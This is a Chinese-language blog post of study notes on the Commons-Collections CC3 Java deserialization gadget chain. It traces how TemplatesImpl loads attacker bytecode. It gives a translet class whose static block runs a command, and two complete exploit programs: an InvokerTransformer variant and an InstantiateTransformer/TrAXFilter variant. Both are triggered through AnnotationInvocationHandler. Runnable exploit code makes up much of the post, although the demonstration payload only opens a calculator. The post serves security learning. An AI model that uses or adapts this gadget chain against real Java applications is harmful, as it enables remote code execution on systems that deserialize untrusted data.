java反序列化Commons-Collection篇03-CC3链

前情提要:

文章学习来自b站白日梦组长视频讲解,如有错误,请各位大佬提出orz!!!

环境配置:

pom.xml

组长cc3

这个和前面两天链不太一样,是因为最后执行代码不再是调用runtime.exec(),而是动态类加载执行代码

ClassLoader->loadclass->findclass->defineclass

protected,不能直接调用,需要找到一个重写他并且是public的类
然后找到在templatesimpl类里面有个defineclass方法调用

然后调用这个方法的是在definetransletclasses方法下面,还是私有,然后继续去找public

然后又找到了templatesimpl下面的gettransletinstance方法下调用了definetransletclasses这个,然后这个里面给_class赋值完之后还调用了newinstance实例化(这里只要走完了gettransletinstance,实例化就可以执行我们的代码了),但同样这个还是private

然后再找,最后找到了templatesimpl下面的newtransformer方法,这个是公开的,且调用了gettransletinstance方法

然后跟一下的话就是newtransformer方法下,会调用gettransletinstance,而gettransletinstance方法如果_class要实例化的话,就必须给_name赋值,但是_class不能赋值,因为不赋值,才会执行gettransletinstance下的definetransletclasses方法,又因为newtransformer构造函数是一个无参构造,所以变量都需要我们自己去赋值,然后执行definetransletclasses方法,在这个方法里面,如果_bytecodes为空的话就会抛出异常,所以不能为空
然后里面还有一个_tfactory变量会调用一个方法,所以按理来说也需要赋值,但是由于他是transient,反序列化他是不会被传进去的,所以其实他在readobject类里面就已经赋值好了,不需要我们去赋值了就
所以需要自己赋值的话就需要用到反射了

然后_bytecodes在definetransletclasses是要传一个二维byte数组

但是最后defineclass动态类加载的时候是要传一个一维byte数组,在definetransletclasses里面的调用的defineclass是循环去调用里面的内容

所以就创建一个一维byte数组,里面放好要执行的代码的class文件,然后用二维byte数组包住这个一维数组即可

这样来的话按道理应该是可以弹计算器了,但是执行发现报了一个空指针错误,然后动态调式一下

调试一下之后发现是definetransletclasses里面出问题了

判断当前的的父类是不是后面的值,是的话执行里面的,不是的话就执行else,但是我们看到下面发现又有一个if检测了_transletindex变量的值是不是为负数,所以这时候其实我们就需要想办法让那个当前的父类等于那个值,才能不会报错

然后看第一个if上面的循环发现这个superclass就是我们所要执行的代码,也就是要求我们所要执行的代码的父类必须是下面这个

修改完的test是下面这样的,记住还要再另外实现一个抽象类和接口

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

最后重新执行上面那个就可以弹计算器了
然后到这里就简单了,直接把cc1的后半部分的链拿过来直接用就好

这里就是相当于把cc1最后执行代码的地方换了,也就是invokertransformer调用的是templates的newtransformer方法

完整exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3_new {
    public static void main(String[] args)throws Exception{

        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //templates.newTransformer();

         
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        //chainedTransformer.transform(1);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");//必须在map里面
        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        //AnnotationInvocationHandler直接找找不到因为不是public,反射获取
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o=annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
//        serialize(o);
        unserialize("ser.bin");



    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

官方cc3

官方用的是一个InstantiateTransformer类

这里是找到了再TrAXFilter类的构造器同样也调用了newtransformer方法,这样的话就是如果invokerTransformer被过滤的话,可以用这个链

然后刚好TrAXFilter的构造函数是传入一个templates,然后调用了templates的newtransformer方法,和前面的cc3就对应上了
但是这个TrAXFilter类以及他继承的类都是没有继承serialize接口的,都不能反序列化,但是他的class是可以的
但是class的类是不能直接调用它里面的方法的,包括构造方法,但是要使用newtransformer就必须要用到构造器传进去的templates
所以cc3的作者就用到了InstantiateTransformer(可以理解为是将class变成了.java文件)里面的transformer方法 ,这个方法就会检查传入的参数是否是class类,是的话就会获取它指定类型的构造器,然后调用他的构造函数

实例化的类的构造函数的参数类型和参数

像cc1一样,控制不了输入的地方,所以用chainedTransformer方法包住

完整exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args)throws Exception{

        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //templates.newTransformer();



        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        //chainedTransformer.transform(1);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");//必须在map里面
        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        //AnnotationInvocationHandler直接找找不到因为不是public,反射获取
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o=annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
//        serialize(o);
        unserialize("ser.bin");



    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

posted @ 2025-02-28 16:22  Zephyr07  阅读(36)  评论(0)    收藏  举报